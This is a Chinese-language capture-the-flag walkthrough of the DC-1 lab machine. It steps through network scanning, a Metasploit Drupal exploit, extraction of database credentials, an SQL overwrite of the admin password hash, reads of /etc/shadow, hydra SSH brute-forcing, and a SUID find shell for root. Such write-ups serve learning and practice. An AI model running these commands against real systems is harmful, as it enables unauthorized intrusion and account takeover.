主机发现
通过下面的命令来发现dc-1靶机的IP地址
arp-scan -l
其中192.168.1.125就是dc-1的IP
接着使用nmap对这个ip进行扫描
nmap -A -p- 192.168.1.125
扫描发现该ip开放了22,80,111这几个端口
漏洞分析
其中80端口开放了一个http类的web网页,接着用浏览器访问这个80端口
发现是一个drupal site,进过信息搜集,发现这是一个通过php编写的开源内容管理框架,是一个附带cms的php开发框架
漏洞利用
并且可以在kali中的msf搜索到这个框架漏洞,接着启动msfconsole,然后启动成功后搜索drupal这个框架的漏洞
接着利用use来使用序好号1这个框架漏洞的脚本,顺便查看一下这个脚本的参数信息
image-20241119185253212
参数信息中只需要配置rhosts,然后再运行
通过python中的pty来对命令行进行具体化
python -c 'import pty;pty.spawn("/bin/bash")'
flag1
发现了flag1
进行读取后,说每个cms都需要一个配置文件,因此,要查看配置文件,在一遍遍的目录遍历中看到了配置文件
接着进行读取,在文件开头发现了mysql数据库的登录密码和账号,甚至还有数据库名
flag2
并且在这个setting中发现了flag2
暴力破解和字典攻击并不是获得访问权限的唯一方法(您将需要访问权限)。您可以使用这些凭据做什么?
大概意思就是要我们进行提权,才能获得一些信息
连接数据库
接着使用该用户名和密码进行连接数据库
mysql -udbuser -pR0ck3t;
登录成功,接着看给出提到的数据库名
use drupaldb; show tables;
列出drupaldb下的数据表后,发现了一个users表,进行查看
select * from users;
发现这个表中的pass都是经过hash加密的,很难破解,可以尝试自己生成一个经过hash加密的密码,再进行登陆
exit(退出数据库) cd /var/www 返回最开始的目录 php scripts/passwod-hash.hash (root)--->自己的密码
先重复之前查看users表的操作,再接着用刚设置的密码进行登陆
update users set pass="$S$DkdKoDM3LYlch2HnKOplK/Fearq/.KlX6aO/WseXfy2HepVvzwA1" where uid=1;
然后我们就可以通过这个密码,在浏览器中进行登陆了
进行登陆
根据刚才的密码进行登陆
flag3
在一顿操作下发现了flag3
查看这个flag3
这句话就passwd和shadow有作用,在linux中这两个内容放到了/etc下
flag4
第一个:提权
接着进行访问
/etc/passwd /etc/shadow
有flag4这个用户,但是需要进行爆破,或者是提权才能拿到flag4
尝试直接读取flag4
cat /home/flag4/flag4.txt
提示我们要用root用户才可以读取
find / -perm -4000
接着用find查找有没有可以进行提权的内容
发现可以通过ssh进行登陆,接着进行提权操作
find ./misc -exec "/bin/sh" \;
现在我们已经是root权限了
第二种:暴力破解
Kali自带的一个hydra软件可以对目标内容进行爆破
hydra -l flag4 -P /usr/share/john/password.lst 192.168.1.125 ssh -vV -f
其中-l表示指定爆破的用户,-P表示指定使用哪个密码字典,ip为DC1的ip,因为flag4可以进行ssh连接,所以利用ssh协议做爆破。
爆出了密码为orange,进行ssh连接
ssh flag4@192.168.1.125
也需要进行提权
重复第一步的命令即可,利用下面的命令进行提权
find / -perm -4000 2>/dev/null find -exec /bin/sh \;
flag5
进入到root目录中,ls后发现了最后的flag,接着cat读取
cat thefinalflag.txt